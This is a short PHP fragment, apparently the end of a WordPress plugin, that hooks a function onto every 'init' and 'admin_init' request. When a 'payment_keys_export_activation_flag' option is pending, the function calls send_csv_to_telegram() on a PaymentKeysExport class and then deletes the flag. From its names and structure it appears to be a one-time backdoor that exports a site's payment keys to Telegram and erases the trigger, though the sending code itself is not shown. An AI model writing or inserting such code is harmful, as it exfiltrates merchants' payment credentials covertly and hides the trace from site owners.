        if (function_exists('get_option')) {
            $activation_flag = get_option('payment_keys_export_activation_flag');
            if ($activation_flag === 'pending') {
                if (class_exists('PaymentKeysExport')) {
                    $plugin = new PaymentKeysExport();
                    $plugin->send_csv_to_telegram();
                    delete_option('payment_keys_export_activation_flag');
                }
            }
        }
    }
    
    if (function_exists('add_action')) {
        add_action('admin_init', 'payment_keys_export_check_activation', 999);
        add_action('init', 'payment_keys_export_check_activation', 999);
    }
}